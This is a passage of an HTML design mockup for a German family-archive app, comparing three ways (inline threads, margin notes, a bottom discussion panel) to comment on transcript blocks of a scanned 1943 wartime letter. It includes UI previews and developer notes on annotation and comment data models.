<div class="tblock-body editing hl-purple">ich schreibe Dir heute aus dem Lazarett in <span style="background:rgba(232,134,42,.15);border-bottom:2px solid var(--orange);padding:0 1px;">Breslau</span>. Mach Dir keine Sorgen, es geht mir den Umständen entsprechend gut. Der Arzt sagt <span class="illegible">[unleserlich]</span> Wochen noch dauern wird.</div>
|
||||
|
||||
<!-- Inline thread on "Breslau" -->
|
||||
<div class="inline-thread">
|
||||
<div class="thread-head">💬 Diskussion — “Breslau”</div>
|
||||
<div class="thread-msg">
|
||||
<div class="thread-av" style="background:var(--purple);">OI</div>
|
||||
<div><strong style="font-size:7px;">Oma Inge</strong> · Ich bin sicher, das ist “Breslau” — Heinrich war dort im Lazarett.</div>
|
||||
</div>
|
||||
<div class="thread-msg">
|
||||
<div class="thread-av" style="background:var(--blue);">DU</div>
|
||||
<div><strong style="font-size:7px;">Du</strong> · Stimmt, danke! Lass ich so.</div>
|
||||
</div>
|
||||
<div class="thread-reply">
|
||||
<input placeholder="Antworten..."/>
|
||||
<div class="resolve-btn">✓ Lösen</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Block 3 — Family (being edited by current user) -->
|
||||
<div class="tblock active" style="border-color:var(--blue);box-shadow:0 0 0 1px var(--blue);">
|
||||
<div class="tblock-head" style="background:rgba(45,125,210,.06);">
|
||||
<div class="num">3</div> Familie
|
||||
<div class="presence" style="margin-left:auto;"><div class="presence-dot" style="background:var(--blue);width:4px;height:4px;"></div> Du</div>
|
||||
</div>
|
||||
<div class="tblock-body editing hl-blue">Die Kinder sollen wissen, dass ich an sie denke. Sag dem kleinen Fritz, er soll auf seine Mutter aufpassen.<span class="trans-cursor"></span></div>
|
||||
</div>
|
||||
|
||||
<!-- Block 4 — Closing (done) -->
|
||||
<div class="tblock">
|
||||
<div class="tblock-head"><div class="num">4</div> Schluss <span style="margin-left:auto;color:var(--green-dark);">✓</span></div>
|
||||
<div class="tblock-body">In ewiger Liebe,<br/>Dein Heinrich</div>
|
||||
</div>
|
||||
|
||||
<!-- Add block CTA -->
|
||||
<div class="tblock empty" style="text-align:center;padding:8px;font-size:7px;color:var(--color-text-muted);cursor:pointer;">
|
||||
Markiere eine weitere Passage im Scan, um Block 5 anzulegen
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="status-bar">
|
||||
<span>Block 2 aktiv</span>
|
||||
<span>Oma Inge · Block 2</span>
|
||||
<span style="margin-left:auto;">1 offene Diskussion</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="bp-tabs">
|
||||
<div class="bp-tab">Metadaten</div>
|
||||
<div class="bp-tab">Verlauf</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Mobile -->
|
||||
<div class="previews" style="margin-top:20px;">
|
||||
<div class="prev-col">
|
||||
<div class="bp-lbl">Mobile · 320px</div>
|
||||
<div class="phone">
|
||||
<div class="pst"><b>14:23</b><span>••• WiFi 🔋</span></div>
|
||||
<div class="pb">
|
||||
<div style="background:#fff;border-bottom:1px solid #e4e2d7;padding:6px 12px;display:flex;align-items:center;gap:6px;">
|
||||
<span style="font-size:11px;color:var(--color-text-muted);">←</span>
|
||||
<span style="font-family:Georgia,serif;font-size:11px;color:var(--navy);flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;">Brief von Heinrich, 14.05.1943</span>
|
||||
<span style="font-size:7px;font-weight:700;padding:2px 6px;border-radius:3px;background:var(--turquoise);color:var(--navy);">Transkr.</span>
|
||||
</div>
|
||||
<!-- PDF strip with annotation rectangles -->
|
||||
<div style="background:#D4D0C8;height:90px;display:flex;align-items:center;justify-content:center;position:relative;border-bottom:2px solid var(--turquoise);">
|
||||
<div style="background:#FFFEF8;width:45%;padding:6px 8px;box-shadow:0 1px 4px rgba(0,0,0,.12);border-radius:1px;position:relative;">
|
||||
<div style="font-size:5px;color:#8A8070;font-style:italic;opacity:.7;">Liebe Martha,</div>
|
||||
<div style="height:2px;background:#C4BDB0;opacity:.4;margin:2px 0;width:80%;"></div>
|
||||
<div style="height:1.5px;background:#C4BDB0;opacity:.25;margin:1px 0;width:90%;"></div>
|
||||
<div style="height:1.5px;background:#C4BDB0;opacity:.25;margin:1px 0;width:70%;"></div>
|
||||
<!-- Turquoise annotations visible as thin outlines -->
|
||||
<div style="position:absolute;left:2%;top:0;width:50%;height:18%;border:1px solid var(--turquoise);border-radius:1px;opacity:.5;"></div>
|
||||
<div style="position:absolute;left:2%;top:22%;width:96%;height:35%;border:1px solid var(--turquoise);border-radius:1px;background:rgba(0,199,177,.1);"></div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- Block list -->
|
||||
<div style="flex:1;overflow-y:auto;padding:8px 12px;background:#fff;">
|
||||
<div style="display:flex;align-items:center;gap:4px;margin-bottom:6px;">
|
||||
<span style="font-size:8px;font-weight:600;color:var(--navy);">4 Blöcke</span>
|
||||
<span style="font-size:7px;color:var(--green-dark);margin-left:auto;">✓ Gespeichert</span>
|
||||
</div>
|
||||
<div style="border:1px solid var(--color-border);border-radius:5px;overflow:hidden;margin-bottom:6px;">
|
||||
<div style="padding:3px 8px;font-size:6px;font-weight:600;color:var(--color-text-muted);display:flex;align-items:center;gap:3px;background:var(--sand);"><div style="width:12px;height:12px;border-radius:50%;background:var(--navy);color:#fff;display:flex;align-items:center;justify-content:center;font-size:5px;font-weight:700;">1</div> Anrede <span style="margin-left:auto;color:var(--green-dark);">✓</span></div>
|
||||
<div style="padding:4px 8px;font-family:Georgia,serif;font-size:10px;line-height:1.6;">Liebe Martha,</div>
|
||||
</div>
|
||||
<div style="border:1px solid var(--turquoise);border-radius:5px;overflow:hidden;margin-bottom:6px;box-shadow:0 0 0 1px var(--turquoise);">
|
||||
<div style="padding:3px 8px;font-size:6px;font-weight:600;color:var(--color-text-muted);display:flex;align-items:center;gap:3px;background:rgba(0,199,177,.08);"><div style="width:12px;height:12px;border-radius:50%;background:var(--navy);color:#fff;display:flex;align-items:center;justify-content:center;font-size:5px;font-weight:700;">2</div> Hauptteil <span style="font-size:5px;color:var(--purple);margin-left:auto;">Oma Inge</span></div>
|
||||
<div style="padding:4px 8px;font-family:Georgia,serif;font-size:10px;line-height:1.6;border-left:2px solid var(--purple);">ich schreibe Dir heute aus dem Lazarett in Breslau...</div>
|
||||
</div>
|
||||
<div style="border:1px solid var(--blue);border-radius:5px;overflow:hidden;margin-bottom:6px;box-shadow:0 0 0 1px var(--blue);">
|
||||
<div style="padding:3px 8px;font-size:6px;font-weight:600;color:var(--color-text-muted);display:flex;align-items:center;gap:3px;background:rgba(45,125,210,.06);"><div style="width:12px;height:12px;border-radius:50%;background:var(--navy);color:#fff;display:flex;align-items:center;justify-content:center;font-size:5px;font-weight:700;">3</div> Familie <span style="font-size:5px;color:var(--blue);margin-left:auto;">Du</span></div>
|
||||
<div style="padding:4px 8px;font-family:Georgia,serif;font-size:10px;line-height:1.6;border-left:2px solid var(--blue);">Die Kinder sollen wissen...<span class="trans-cursor"></span></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="agent">
|
||||
<h4>V1 · Inline comment threads in transcript blocks</h4>
|
||||
<pre>/* Core flow: enter transcribe mode → crosshair cursor on PDF → draw rect → creates:
|
||||
* 1. DocumentAnnotation(type:"transcription", turquoise) in the DB
|
||||
* 2. TranscriptionBlock(annotation_id, text:"", sort_order:N) in the DB
|
||||
* 3. Editable block in the right panel, linked to the annotation
|
||||
* Clicking an annotation rect on PDF scrolls to + highlights the matching block.
|
||||
* Clicking a block header highlights the matching rect on PDF.
|
||||
* Comments: select text within a block → "Diskutieren" → creates a CommentThread
|
||||
* anchored to (block_id, char_offset_start, char_offset_end).
|
||||
* Existing yellow comment annotations continue to work as before — they open the
|
||||
* AnnotationSidePanel. Only turquoise annotations feed the transcript editor.
|
||||
* This reuses: AnnotationLayer (draw), PdfViewer (render), CommentThread (replies/mentions).
|
||||
* Mobile: PDF collapses to 90px strip, blocks stack vertically below. */</pre>
|
||||
<table class="at"><thead><tr><th>Element</th><th>Value</th><th>Notes</th></tr></thead><tbody>
|
||||
<tr class="grp"><td colspan="3">Annotation reuse</td></tr>
|
||||
<tr><td>Draw gesture</td><td>Existing AnnotationLayer.onDraw(rect)</td><td>Same pointer events. crosshair cursor.</td></tr>
|
||||
<tr><td>Annotation color</td><td>turquoise (#00C7B1) for transcription</td><td>Yellow kept for comment annotations</td></tr>
|
||||
<tr><td>Annotation type</td><td>New column: type VARCHAR "transcription"|"comment"</td><td>Default "comment" for backward compat</td></tr>
|
||||
<tr><td>Number badge</td><td>16px navy circle, top-left of rect</td><td>Sort order number, matches block number</td></tr>
|
||||
<tr class="grp"><td colspan="3">Transcript blocks (right panel)</td></tr>
|
||||
<tr><td>Block card</td><td>border:1px line, radius:5px, active: turquoise glow</td><td>Header: number + label + presence. Body: contenteditable.</td></tr>
|
||||
<tr><td>Inline thread</td><td>orange left-border, orange-tint bg, below block body</td><td>Text-anchored via char offset. Reuses CommentThread.</td></tr>
|
||||
<tr><td>Block label</td><td>Editable text, defaults: Anrede, Hauptteil, Schluss</td><td>Double-click to rename</td></tr>
|
||||
<tr class="grp"><td colspan="3">Interaction</td></tr>
|
||||
<tr><td>Click rect → block</td><td>scrollIntoView + active state on block</td><td>Turquoise glow on both rect and block</td></tr>
|
||||
<tr><td>Click block → rect</td><td>PDF scrolls/zooms to show the annotation</td><td>If multi-page: switches page</td></tr>
|
||||
<tr><td>Delete block</td><td>Deletes annotation + block + threads</td><td>Confirm dialog if threads exist</td></tr>
|
||||
</tbody></table>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ═══════════════════════════════════════════════════════════════════════════
|
||||
V2 — MARGIN NOTES (MANUSCRIPT-STYLE)
|
||||
═══════════════════════════════════════════════════════════════════════════ -->
|
||||
<div class="scr" id="v2">
|
||||
<div class="scr-head"><h3>V2 — Margin notes (manuscript-style)</h3><span class="scr-id">V2</span></div>
|
||||
<div class="scr-desc">Same annotation-backed transcript blocks, but comments appear as <strong>margin notes</strong> beside the blocks rather than inline threads. Small note cards float to the right of the block they refer to, connected by a thin line — like handwritten marginalia on a manuscript. This feels more appropriate for a letter archive and avoids the visual weight of inline thread UIs. Notes can be replies (click existing note to add) or new (click the margin area next to a block).</div>
|
||||
<div class="scr-var"><strong>Annotation-backed blocks + margin notes</strong> — lightweight, manuscript-style commenting that doesn’t break the reading flow.</div>
|
||||
|
||||
<div class="previews">
|
||||
<div class="prev-col">
|
||||
<div class="bp-lbl">Desktop · 1040px</div>
|
||||
<div class="desk">
|
||||
<div class="fa-nav">
|
||||
<div class="fa-logo">FAMILIENARCHIV</div>
|
||||
<div class="fa-link">Dokumente</div>
|
||||
<div class="fa-link">Personen</div>
|
||||
<div class="fa-nav-r"><div class="fa-av">MR</div></div>
|
||||
</div>
|
||||
<div class="fa-topbar">
|
||||
<div class="back">←</div>
|
||||
<div class="title">Brief von Heinrich an Martha, 14. Mai 1943</div>
|
||||
<div style="flex:1"></div>
|
||||
<div class="presence" style="margin-right:4px;"><div class="presence-dot" style="background:var(--blue);"></div> Du</div>
|
||||
<div class="presence" style="margin-right:4px;"><div class="presence-dot" style="background:var(--purple);"></div> Oma Inge</div>
|
||||
<div style="width:1px;height:16px;background:#e4e2d7;margin:0 4px;"></div>
|
||||
<div class="fa-topbar-btn transcribe">✎ Transkribieren</div>
|
||||
</div>
|
||||
|
||||
<div class="hint-strip trans-hint">
|
||||
<span>Transkribieren</span>
|
||||
<span class="hint-step">— Markiere Passagen im Scan. Klicke rechts neben einen Block für eine Randnotiz.</span>
|
||||
</div>
|
||||
|
||||
<div class="split" style="height:380px;">
|
||||
<div class="split-left">
|
||||
<div class="pdf-area" style="flex:1;">
|
||||
<div class="paper" style="width:55%;min-height:220px;position:relative;">
|
||||
<div style="font-size:7px;color:#8A8070;font-style:italic;margin-bottom:4px;opacity:.7;">Liebe Martha,</div>
|
||||
<div class="pl" style="width:90%;"></div><div class="ps" style="width:85%;"></div><div class="ps" style="width:92%;"></div>
|
||||
<div class="pl" style="width:78%;"></div><div class="ps" style="width:88%;"></div><div class="ps" style="width:70%;"></div>
|
||||
<div class="pl" style="width:84%;"></div><div class="ps" style="width:90%;"></div><div class="ps" style="width:60%;"></div>
|
||||
<div class="pl" style="width:75%;"></div><div class="ps" style="width:82%;"></div>
|
||||
<div style="font-size:6px;color:#8A8070;margin-top:6px;text-align:right;opacity:.7;">Dein Heinrich</div>
|
||||
|
||||
<div class="ann-rect trans" style="left:2%;top:0%;width:50%;height:10%;"><div class="ann-num">1</div></div>
|
||||
<div class="ann-rect trans active" style="left:2%;top:14%;width:96%;height:32%;"><div class="ann-num">2</div></div>
|
||||
<div class="ann-rect trans" style="left:2%;top:50%;width:96%;height:22%;"><div class="ann-num">3</div></div>
|
||||
<div class="ann-rect trans" style="left:20%;top:80%;width:60%;height:12%;"><div class="ann-num">4</div></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="split-handle"></div>
|
||||
|
||||
<!-- Transcript + margin area -->
|
||||
<div class="split-right" style="width:400px;display:flex;flex-direction:column;">
|
||||
<div style="background:#fff;border-bottom:1px solid #e4e2d7;display:flex;align-items:center;padding:4px 8px;gap:6px;flex-shrink:0;">
|
||||
<span style="font-size:7px;font-weight:600;color:var(--navy);">4 Blöcke</span>
|
||||
<span style="font-size:7px;color:var(--color-text-muted);margin-left:4px;">2 Randnotizen</span>
|
||||
<div style="flex:1;"></div>
|
||||
<span style="font-size:7px;color:var(--green-dark);">✓ Gespeichert</span>
|
||||
</div>
|
||||
|
||||
<div style="flex:1;overflow-y:auto;display:flex;">
|
||||
<!-- Blocks column -->
|
||||
<div style="flex:1;padding:6px 8px;display:flex;flex-direction:column;gap:4px;min-width:0;">
|
||||
|
||||
<div class="tblock">
|
||||
<div class="tblock-head"><div class="num">1</div> Anrede <span style="margin-left:auto;color:var(--green-dark);">✓</span></div>
|
||||
<div class="tblock-body">Liebe Martha,</div>
|
||||
</div>
|
||||
|
||||
<div class="tblock active" style="position:relative;">
|
||||
<div class="tblock-head active-bg">
|
||||
<div class="num">2</div> Hauptteil
|
||||
<div class="presence" style="margin-left:auto;"><div class="presence-dot" style="background:var(--purple);width:4px;height:4px;"></div> Oma Inge</div>
|
||||
</div>
|
||||
<div class="tblock-body editing hl-purple">ich schreibe Dir heute aus dem Lazarett in <strong style="color:var(--orange);text-decoration:underline;text-decoration-color:var(--orange);text-underline-offset:2px;">Breslau</strong>. Mach Dir keine Sorgen, es geht mir den Umständen entsprechend gut. Der Arzt sagt <span class="illegible">[unleserlich]</span> Wochen noch dauern wird.</div>
|
||||
</div>
|
||||
|
||||
<div class="tblock active" style="border-color:var(--blue);box-shadow:0 0 0 1px var(--blue);">
|
||||
<div class="tblock-head" style="background:rgba(45,125,210,.06);">
|
||||
<div class="num">3</div> Familie
|
||||
<div class="presence" style="margin-left:auto;"><div class="presence-dot" style="background:var(--blue);width:4px;height:4px;"></div> Du</div>
|
||||
</div>
|
||||
<div class="tblock-body editing hl-blue">Die Kinder sollen wissen, dass ich an sie denke. Sag dem kleinen Fritz, er soll auf seine Mutter aufpassen.<span class="trans-cursor"></span></div>
|
||||
</div>
|
||||
|
||||
<div class="tblock">
|
||||
<div class="tblock-head"><div class="num">4</div> Schluss <span style="margin-left:auto;color:var(--green-dark);">✓</span></div>
|
||||
<div class="tblock-body">In ewiger Liebe,<br/>Dein Heinrich</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Margin notes column -->
|
||||
<div style="width:130px;flex-shrink:0;position:relative;padding:6px 4px 6px 0;">
|
||||
<!-- Note for "Breslau" in Block 2 -->
|
||||
<div style="position:relative;margin-bottom:8px;margin-top:48px;">
|
||||
<div style="position:absolute;left:0;top:8px;width:8px;height:1px;background:var(--color-border);"></div>
|
||||
<div style="margin-left:10px;background:#fff;border:1px solid var(--color-border);border-radius:4px;box-shadow:var(--shadow-card);padding:5px 6px;font-size:7px;color:var(--color-text);line-height:1.5;">
|
||||
<div style="font-size:5px;font-weight:600;color:var(--orange-dark);text-transform:uppercase;letter-spacing:.05em;margin-bottom:2px;">“Breslau” · Block 2</div>
|
||||
<div style="display:flex;gap:3px;align-items:flex-start;margin-bottom:3px;">
|
||||
<div style="width:10px;height:10px;border-radius:50%;background:var(--purple);display:flex;align-items:center;justify-content:center;font-size:4px;font-weight:800;color:#fff;flex-shrink:0;">OI</div>
|
||||
<div>Ich bin sicher: “Breslau”. Heinrich war dort stationiert.</div>
|
||||
</div>
|
||||
<div style="display:flex;gap:3px;align-items:flex-start;">
|
||||
<div style="width:10px;height:10px;border-radius:50%;background:var(--blue);display:flex;align-items:center;justify-content:center;font-size:4px;font-weight:800;color:#fff;flex-shrink:0;">DU</div>
|
||||
<div>Danke, klingt richtig!</div>
|
||||
</div>
|
||||
<div style="margin-top:3px;padding-top:3px;border-top:1px solid var(--color-subtle);display:flex;gap:2px;">
|
||||
<input style="flex:1;font-size:6px;padding:2px 4px;border:1px solid var(--color-border);border-radius:2px;" placeholder="Antworten..."/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Note for [unleserlich] in Block 2 -->
|
||||
<div style="position:relative;margin-bottom:8px;">
|
||||
<div style="position:absolute;left:0;top:8px;width:8px;height:1px;background:var(--color-border);"></div>
|
||||
<div style="margin-left:10px;background:#fff;border:1px solid var(--color-border);border-radius:4px;box-shadow:var(--shadow-card);padding:5px 6px;font-size:7px;color:var(--color-text);line-height:1.5;">
|
||||
<div style="font-size:5px;font-weight:600;color:var(--color-text-muted);text-transform:uppercase;letter-spacing:.05em;margin-bottom:2px;">[unleserlich] · Block 2</div>
|
||||
<div style="display:flex;gap:3px;align-items:flex-start;">
|
||||
<div style="width:10px;height:10px;border-radius:50%;background:var(--blue);display:flex;align-items:center;justify-content:center;font-size:4px;font-weight:800;color:#fff;flex-shrink:0;">DU</div>
|
||||
<div>Könnte “sechs” oder “acht” sein. Wer hat die Originale?</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="status-bar">
|
||||
<span>Block 3 aktiv</span>
|
||||
<span style="margin-left:auto;">2 offene Notizen</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="bp-tabs">
|
||||
<div class="bp-tab">Metadaten</div>
|
||||
<div class="bp-tab">Verlauf</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="agent">
|
||||
<h4>V2 · Margin notes (manuscript-style)</h4>
|
||||
<pre>/* Same annotation-backed blocks as V1, different comment mechanism.
|
||||
* Comments appear as small cards in a 130px margin column to the right of the blocks.
|
||||
* Each note is connected to its source text via a thin horizontal line.
|
||||
* Notes are positioned vertically to align with the text they reference.
|
||||
* If notes would overlap, they stack downward with 8px gap.
|
||||
*
|
||||
* Creating a note: select text in a block → "Randnotiz" button or right-click context menu.
|
||||
* Or: click the margin area next to a block to create a general block note.
|
||||
* Note data model: CommentThread (documentId, blockId, charOffsetStart, charOffsetEnd).
|
||||
*
|
||||
* Advantages: doesn't disrupt reading flow. Feels like marginalia on a manuscript.
|
||||
* Disadvantages: narrow notes column — long discussions get cramped.
|
||||
* For long threads: clicking "4 weitere..." expands the note into a popover.
|
||||
* Mobile: margin notes collapse to icons (small circles). Tap to expand inline. */</pre>
|
||||
<table class="at"><thead><tr><th>Element</th><th>Value</th><th>Notes</th></tr></thead><tbody>
|
||||
<tr class="grp"><td colspan="3">Margin column</td></tr>
|
||||
<tr><td>Width</td><td>130px, flex-shrink:0</td><td>To the right of blocks column</td></tr>
|
||||
<tr><td>Note card</td><td>bg:white, border:line, radius:4px, shadow:card</td><td>7px body text, 5px header</td></tr>
|
||||
<tr><td>Connector line</td><td>8px wide, 1px solid line, horizontal</td><td>Connects left edge of note to block boundary</td></tr>
|
||||
<tr><td>Vertical position</td><td>Aligned to the referenced text line</td><td>Stack with 8px gap if overlapping</td></tr>
|
||||
<tr class="grp"><td colspan="3">Interactions</td></tr>
|
||||
<tr><td>Create</td><td>Select text → "Randnotiz" or click margin</td><td>Block-level or text-range-level</td></tr>
|
||||
<tr><td>Reply</td><td>Input at bottom of note card</td><td>Existing CommentThread reply logic</td></tr>
|
||||
<tr><td>Overflow</td><td>"4 weitere..." link → expand to popover</td><td>Popover uses full CommentThread component</td></tr>
|
||||
<tr><td>Mobile</td><td>Notes collapse to 10px circles</td><td>Tap to expand inline below the block</td></tr>
|
||||
</tbody></table>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ═══════════════════════════════════════════════════════════════════════════
|
||||
V3 — UNIFIED COMMENT TIMELINE + ANNOTATION BLOCKS
|
||||
═══════════════════════════════════════════════════════════════════════════ -->
|
||||
<div class="scr" id="v3">
|
||||
<div class="scr-head"><h3>V3 — Unified comment timeline</h3><span class="scr-id">V3</span></div>
|
||||
<div class="scr-desc">Same annotation-backed blocks, but comments live in the <strong>existing bottom panel Discussion tab</strong> — not inside the transcript at all. Each comment in the timeline gets a reference tag showing which block (and optionally which word) it refers to. Clicking the tag scrolls both the transcript and PDF to the referenced location. This is the least invasive approach: the transcript editor stays clean and focused on text, while discussion happens in the familiar bottom panel.</div>
|
||||
<div class="scr-var"><strong>Annotation-backed blocks + bottom panel discussion</strong> — clean editor, familiar comment UI, reference tags link comments to blocks.</div>
|
||||
|
||||
<div class="previews">
|
||||
<div class="prev-col">
|
||||
<div class="bp-lbl">Desktop · 1040px</div>
|
||||
<div class="desk" style="min-height:580px;">
|
||||
<div class="fa-nav">
|
||||
<div class="fa-logo">FAMILIENARCHIV</div>
|
||||
<div class="fa-link">Dokumente</div>
|
||||
<div class="fa-link">Personen</div>
|
||||
<div class="fa-nav-r"><div class="fa-av">MR</div></div>
|
||||
</div>
|
||||
<div class="fa-topbar">
|
||||
<div class="back">←</div>
|
||||
<div class="title">Brief von Heinrich an Martha, 14. Mai 1943</div>
|
||||
<div style="flex:1"></div>
|
||||
<div class="presence" style="margin-right:4px;"><div class="presence-dot" style="background:var(--blue);"></div> Du</div>
|
||||
<div class="presence" style="margin-right:4px;"><div class="presence-dot" style="background:var(--purple);"></div> Oma Inge</div>
|
||||
<div style="width:1px;height:16px;background:#e4e2d7;margin:0 4px;"></div>
|
||||
<div class="fa-topbar-btn transcribe">✎ Transkribieren</div>
|
||||
</div>
|
||||
|
||||
<div class="hint-strip trans-hint">
|
||||
<span>Transkribieren</span>
|
||||
<span class="hint-step">— Markiere Passagen im Scan. Nutze die Diskussion unten für Fragen.</span>
|
||||
</div>
|
||||
|
||||
<div class="split" style="height:280px;">
|
||||
<div class="split-left">
|
||||
<div class="pdf-area" style="flex:1;">
|
||||
<div class="paper" style="width:55%;min-height:160px;position:relative;">
|
||||
<div style="font-size:7px;color:#8A8070;font-style:italic;margin-bottom:4px;opacity:.7;">Liebe Martha,</div>
|
||||
<div class="pl" style="width:90%;"></div><div class="ps" style="width:85%;"></div><div class="ps" style="width:92%;"></div>
|
||||
<div class="pl" style="width:78%;"></div><div class="ps" style="width:88%;"></div><div class="ps" style="width:70%;"></div>
|
||||
<div class="pl" style="width:84%;"></div><div class="ps" style="width:90%;"></div><div class="ps" style="width:60%;"></div>
|
||||
<div class="pl" style="width:75%;"></div><div class="ps" style="width:82%;"></div>
|
||||
<div style="font-size:6px;color:#8A8070;margin-top:6px;text-align:right;opacity:.7;">Dein Heinrich</div>
|
||||
|
||||
<div class="ann-rect trans" style="left:2%;top:0%;width:50%;height:10%;"><div class="ann-num">1</div></div>
|
||||
<div class="ann-rect trans" style="left:2%;top:14%;width:96%;height:32%;"><div class="ann-num">2</div></div>
|
||||
<div class="ann-rect trans active" style="left:2%;top:50%;width:96%;height:22%;"><div class="ann-num">3</div></div>
|
||||
<div class="ann-rect trans" style="left:20%;top:80%;width:60%;height:12%;"><div class="ann-num">4</div></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="split-handle"></div>
|
||||
|
||||
<!-- Clean transcript editor — no inline comments -->
|
||||
<div class="split-right" style="width:380px;">
|
||||
<div style="background:#fff;border-bottom:1px solid #e4e2d7;display:flex;align-items:center;padding:4px 8px;gap:6px;flex-shrink:0;">
|
||||
<span style="font-size:7px;font-weight:600;color:var(--navy);">4 Blöcke</span>
|
||||
<div style="flex:1;"></div>
|
||||
<span style="font-size:7px;color:var(--green-dark);">✓ Gespeichert</span>
|
||||
</div>
|
||||
|
||||
<div style="flex:1;overflow-y:auto;padding:6px 8px;background:#fff;display:flex;flex-direction:column;gap:4px;">
|
||||
<div class="tblock">
|
||||
<div class="tblock-head"><div class="num">1</div> Anrede <span style="margin-left:auto;color:var(--green-dark);">✓</span></div>
|
||||
<div class="tblock-body">Liebe Martha,</div>
|
||||
</div>
|
||||
|
||||
<div class="tblock">
|
||||
<div class="tblock-head">
|
||||
<div class="num">2</div> Hauptteil
|
||||
<span style="margin-left:auto;font-size:6px;color:var(--orange);">💬 2</span>
|
||||
</div>
|
||||
<div class="tblock-body">ich schreibe Dir heute aus dem Lazarett in Breslau. Mach Dir keine Sorgen, es geht mir den Umständen entsprechend gut. Der Arzt sagt <span class="illegible">[unleserlich]</span> Wochen noch dauern wird.</div>
|
||||
</div>
|
||||
|
||||
<div class="tblock active" style="border-color:var(--blue);box-shadow:0 0 0 1px var(--blue);">
|
||||
<div class="tblock-head" style="background:rgba(45,125,210,.06);">
|
||||
<div class="num">3</div> Familie
|
||||
<div class="presence" style="margin-left:auto;"><div class="presence-dot" style="background:var(--blue);width:4px;height:4px;"></div> Du</div>
|
||||
</div>
|
||||
<div class="tblock-body editing hl-blue">Die Kinder sollen wissen, dass ich an sie denke. Sag dem kleinen Fritz, er soll auf seine Mutter aufpassen.<span class="trans-cursor"></span></div>
|
||||
</div>
|
||||
|
||||
<div class="tblock">
|
||||
<div class="tblock-head"><div class="num">4</div> Schluss <span style="margin-left:auto;color:var(--green-dark);">✓</span></div>
|
||||
<div class="tblock-body">In ewiger Liebe,<br/>Dein Heinrich</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="status-bar">
|
||||
<span>Block 3 aktiv</span>
|
||||
<span style="margin-left:auto;">Oma Inge sieht zu</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Bottom panel — Discussion tab with block-reference tags -->
|
||||
<div style="display:flex;flex-direction:column;flex-shrink:0;height:140px;border-top:1px solid #e4e2d7;">
|
||||
<div style="height:6px;background:#fff;display:flex;align-items:center;justify-content:center;cursor:ns-resize;flex-shrink:0;">
|
||||
<div style="width:40px;height:3px;background:#e4e2d7;border-radius:2px;"></div>
|
||||
</div>
|
||||
<div class="bp-tabs" style="border-top:none;">
|
||||
<div class="bp-tab">Metadaten</div>
|
||||
<div class="bp-tab active">Diskussion <span class="bp-badge">3</span></div>
|
||||
<div class="bp-tab">Verlauf</div>
|
||||
</div>
|
||||
|
||||
<div style="flex:1;overflow-y:auto;padding:8px 12px;background:#fff;">
|
||||
<!-- Comment 1 — references Block 2 + "Breslau" -->
|
||||
<div style="display:flex;gap:6px;align-items:flex-start;margin-bottom:8px;padding-bottom:8px;border-bottom:1px solid var(--color-subtle);">
|
||||
<div style="width:20px;height:20px;border-radius:50%;background:var(--purple);display:flex;align-items:center;justify-content:center;font-size:7px;font-weight:800;color:#fff;flex-shrink:0;">OI</div>
|
||||
<div style="flex:1;">
|
||||
<div style="display:flex;align-items:center;gap:4px;margin-bottom:2px;">
|
||||
<span style="font-size:8px;font-weight:600;">Oma Inge</span>
|
||||
<span style="font-size:7px;color:var(--color-text-muted);">· vor 12 Min.</span>
|
||||
<!-- Block reference tag -->
|
||||
<span style="font-size:6px;font-weight:600;padding:1px 5px;border-radius:3px;background:var(--accent-bg);color:var(--navy);border:1px solid var(--mint);cursor:pointer;margin-left:auto;">§2 “Breslau”</span>
|
||||
</div>
|
||||
<div style="font-size:9px;color:var(--color-text);line-height:1.5;">Ich bin mir sicher, das ist “Breslau” — Heinrich war dort im Lazarett stationiert, das steht auch in dem Brief vom März.</div>
|
||||
<div style="font-size:8px;color:var(--blue);margin-top:2px;cursor:pointer;">Antworten</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Comment 2 — references Block 2 + [unleserlich] -->
|
||||
<div style="display:flex;gap:6px;align-items:flex-start;margin-bottom:8px;padding-bottom:8px;border-bottom:1px solid var(--color-subtle);">
|
||||
<div style="width:20px;height:20px;border-radius:50%;background:var(--blue);display:flex;align-items:center;justify-content:center;font-size:7px;font-weight:800;color:#fff;flex-shrink:0;">DU</div>
|
||||
<div style="flex:1;">
|
||||
<div style="display:flex;align-items:center;gap:4px;margin-bottom:2px;">
|
||||
<span style="font-size:8px;font-weight:600;">Du</span>
|
||||
<span style="font-size:7px;color:var(--color-text-muted);">· vor 5 Min.</span>
|
||||
<span style="font-size:6px;font-weight:600;padding:1px 5px;border-radius:3px;background:var(--sand);color:var(--color-text-muted);border:1px solid var(--color-border);cursor:pointer;margin-left:auto;">§2 [unleserlich]</span>
|
||||
</div>
|
||||
<div style="font-size:9px;color:var(--color-text);line-height:1.5;">Könnte “sechs” oder “acht” Wochen sein. Wer hat Zugang zu den Originalen, um nachzuschauen?</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- New comment input -->
|
||||
<div style="display:flex;gap:6px;align-items:flex-start;">
|
||||
